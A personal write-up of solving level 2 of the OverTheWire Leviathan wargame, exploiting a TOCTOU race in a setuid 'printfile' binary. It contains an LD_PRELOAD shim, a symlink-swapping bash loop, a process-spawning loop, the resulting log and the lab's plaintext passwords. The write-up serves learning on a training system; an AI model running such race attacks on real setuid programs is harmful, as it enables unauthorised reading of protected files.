Leviathan2, overthewire.org
Since I spent an entire day (, course I had breaks) on this challenge, I’d like to write some approach I tried to solve it. Also, the solution I’ve come up with is different from the ones I’m now reading from different writeup’s — so I think it might be interesting for someone to read. Yet, they’re more elegant than mine, so you should google ‘leviathan2 writeup’ in the end.
You login as usual via ssh to leviathan.labs.overthewire.org using leviathan2:ougahZi8Ta
Listing file in the HOME you see there’s an executable named printfile with the setuid flag set. Upon execution it takes a file name and will print its content.
leviathan2@melinda:~$ ll
total 28
drwxr-xr-x 2 root root 4096 Nov 14 2014 ./
drwxr-xr-x 172 root root 4096 Jul 10 14:12 ../
-rw-r — r — 1 root root 220 Apr 9 2014 .bash_logout
-rw-r — r — 1 root root 3637 Apr 9 2014 .bashrc
-rw-r — r — 1 root root 675 Apr 9 2014 .profile
-r-sr-x — — 1 leviathan3 leviathan2 7498 Nov 14 2014 printfile*
Naively, I hoped that executing ./printfile would set my effective uid to the one of leviathan3; thus I could have read the content of /etc/leviathan_pass/leviathan3
That’s not the case. Indeed, before printing the content of a file, ./printfile will make a call to access() checking if your real uid (not the effective one!) has enough privileges to read the file — which mine had not.
0x08048592 <+101>: call 0x8048420 <access@plt>
0x08048597 <+106>: test %eax,%eax
0x08048599 <+108>: je 0x80485ae <main+129> ; <= I want to jump here!
0x0804859b <+110>: movl $0x80486b9,(%esp)
0x080485a2 <+117>: call 0x80483d0 <puts@plt>
0x080485a7 <+122>: mov $0x1,%eax
[ ... then return ... ]
I thought I could easily bypass that check by injecting a shared object using the LD_PRELOAD variable.
// Use `cc -m32 -shared -o pwny.so -fPIC pwny.c`
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int
access(const char * ptr, int n) {
puts("I've injected access!!");
return 0;
}
But Linux will just ignore the value of LD_PRELOAD on an executable with the setuid flag set.
Ok, reboot.
Checking the man page of access(), one could read that
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).)
That points to a race condition that could be exploited in the binary execution. But I’ve never saw a race condition in real life. Deep inside I didn’t believe in them. Nonetheless, I tried — I had no other .
“Race conditions, …theoretical attacks bro!”
The idea was to call ./printfile with /tmp/pwny as argument, where /tmp/pwny is a file that’s continuously changed: sometimes it’s an empty file that leviathan2 could read, sometimes it’s a symbolic link to /etc/leviathan_pass/leviathan3.
while [[ true ]]; do
rm -f pwny
touch pwny
rm pwny
ln -s /etc/leviathan_pass/leviathan3
done
This way, in you lucky day, it might happen that at the moment of the call to access() /tmp/pwny will be the empty file readable by leviathan2 — making access() returning ok — and later it might happen that when the file name passed will be fetched from the file system /tmp/pwny will be the symbolic link. You have to be very(!) lucky indeed.
In fact, my first attempt with
while [[ true ]]; do
./printfile /tmp/pwny &>> /tmp/pwny.log &
done
wasn’t successful. I just collected a bunch of errors — no passwords yet.
Then I searched something about race conditions and I found these lecture notes where it’s suggested to make the CPU of the victim slow.
Improving Success Rate: The most critical step of a race-condition attack must occur within TOCTOU window. Since we cannot modify the vulnerable program, the only thing that we can do is to run our attacking program in parallel with the target program, hoping that the change of the link does occur within that critical window. Unfortunately, we cannot achieve the perfect timing. Therefore, the success of attack is probabilistic. The probability of successful attack might be quite low if the window is small. How do we increase the probability?
— Slow down the computer by running many CPU-intensive programs.
— Create many attacking processes.
So, I searched for a large prime number on Google (got 961748941), and wrote a Python script to found its divisors (!) using the silliest algorithm known.
p = 961748941
for k in range(2, p):
if p % k == 0: break
Then I started running it: 10 instances, then another 10 instances, …until I saw the speed of process creation (of ./printfile) slowing down a bit
while [[ true ]]; do
./printfile /tmp/pwny &>> /tmp/pwny.log &
done
Note: you don’t have to launch too many instances of the Python script otherwise you will saturate the resources and you won’t be able to launch other ./printfile processes.
I ended up obtaining something useful in the end!, in something like <10minutes. Here’s the content of /tmp/pwny.log
% cat /tmp/pwny.log|sort|uniq
Ahdiemoo1j
/bin/cat: Ahdiemoo1j
/bin/cat: /bin/cat: /tmp/pwny/tmp/pwny: No such file or directory
/bin/cat: /bin/cat: /tmp/pwny/tmp/pwny: No such file or directory: No such file or directory
/bin/cat: /tmp/pwny/bin/cat: : No such file or directory
/bin/cat: /tmp/pwny/bin/cat: : No such file or directory/tmp/pwny
/bin/cat: /tmp/pwny: No such file or directory
/bin/cat: /tmp/pwny: No such file or directory/bin/cat:
/bin/cat: /tmp/pwny: No such file or directoryYou cant have that file...
/bin/cat: /tmp/pwnyYou cant have that file...
/bin/cat: You cant have that file...
Cannot fork
: No such file or directory
sh: 1: Cannot fork
sh: 1: Cannot forksh: 1:
/tmp/pwny: No such file or directory
You cant have that file...
And that Ahdiemoo1j is a valid password to login as leviathan3.